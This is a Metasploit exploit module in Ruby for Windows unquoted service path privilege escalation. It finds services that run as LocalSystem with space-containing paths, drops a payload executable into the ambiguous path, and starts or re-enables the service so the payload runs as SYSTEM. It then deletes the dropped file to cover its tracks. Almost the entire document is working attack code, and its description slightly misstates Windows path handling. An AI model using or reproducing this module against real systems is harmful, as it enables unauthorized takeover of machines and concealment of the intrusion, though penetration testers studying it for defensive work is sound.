Windows Service Trusted Path Privilege Escalation

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/post/common'
require 'msf/core/post/windows/services'

class Metasploit3 < Msf::Exploit::Local
 Rank = ExcellentRanking

 include Msf::Exploit::EXE
 include Msf::Post::Common
 include Msf::Post::File
 include Post::Windows::WindowsServices

 def initialize(info={})
  super( update_info( info,
   'Name'           => 'Windows Service Trusted Path Privilege Escalation',
   'Description'    => %q{
    This module exploits a logic flaw due to how the lpApplicationName parameter
    is handled.  When the lpApplicationName contains a space, the file name is
    ambiguous.  Take this file path as example: C:\program files\hello.exe;
    The Windows API will try to interpret this as two possible paths:
    C:\program.exe, and C:\program files\hello.exe, and then execute all of them.
    To some software developers, this is an unexpected behavior, which becomes a
    security problem if an attacker is able to place a malicious executable in one
    of these unexpected paths, sometimes escalate privileges if run as SYSTEM.
    Some softwares such as OpenVPN 2.1.1, or OpenSSH Server 5, etc... all have the
    same problem.
   },
   'References'     =>
    [
     ['URL', 'http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx']
    ],
   'DisclosureDate' => "Oct 25 2001",
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'sinn3r'
    ],
   'Platform'       => [ 'win'],
   'Targets'        => [ ['Windows', {}] ],
   'SessionTypes'   => [ "shell", "meterpreter" ],
   'DefaultTarget'  => 0,
   # Migrate away, in case the service dies (can kill access)
   'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }
  ))
 end

 def check
  if enum_vuln_services.empty?
   return Exploit::CheckCode::Safe
  else
   return Exploit::CheckCode::Vulnerable
  end
 end

 def enum_vuln_services(quick=false)
  vuln_services = []

  service_list.each do |name|
   info = service_info(name)

   # Sometimes there's a null byte at the end of the string,
   # and that can break the regex -- annoying.
   cmd = info['Command'].strip

   # Check path:
   # - Filter out paths that begin with a quote
   # - Filter out paths that don't have a space
   next if cmd !~ /^[a-z]\:.+\.exe$/i
   next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true)

   # Filter out services that aren't launched as SYSTEM
   next if info['Credentials'] !~ /LocalSystem/

   vprint_status("Found vulnerable service: #{name} - #{cmd} (#{info['Credentials']})")
   vuln_services << [name, cmd]

   # This process can be pretty damn slow.
   # Allow the user to just find one, and get the hell out.
   break if not vuln_services.empty? and quick
  end

  return vuln_services
 end

 def exploit
  #
  # Exploit the first service found
  #
  print_status("Finding a vulnerable service...")
  svrs = enum_vuln_services(true)
  if svrs.empty?
   print_error("No service found with trusted path issues")
   return
  end

  svr_name = svrs.first[0]
  fpath    = svrs.first[1]
  exe_path = "#{fpath.split(' ')[0]}.exe"
  print_status("Placing #{exe_path} as #{svr_name}")

  #
  # Drop the malicious executable into the path
  #
  exe = generate_payload_exe
  print_status("Writing #{exe.length.to_s} bytes to #{exe_path}...")
  begin
   write_file(exe_path, exe)
  rescue Rex::Post::Meterpreter::RequestError => e
   # Can't write the file, can't go on
   print_error(e.message)
   return
  end

  #
  # Run the service, let the Windows API do the rest
  #
  print_status("Launching service #{svr_name}...")
  tried = false
  begin
   status = service_start(svr_name)
   raise RuntimeError, status if status != 0
  rescue RuntimeError => s
   if tried
    print_error("Unable to start #{svr_name}")
    return
   else
    tried = true 
   end

   case s.message
   when 1
    # Service already started, restart again
    service_stop(svr_name)
    retry
   when 2
    # Service disabled, enable it
    service_change_startup(svr_name, 'manual')
    retry
   end
  end

  #
  # "Nothing ever happened, we swears it on the Precious!"
  #
  print_status("Deleting #{exe_path}")
  begin
   cmd_exec("cmd /c del \"#{exe_path}\"")
  rescue ::Exception => e
   print_error("Unable to remove #{exe_path}: #{e.message}")
  end
 end

end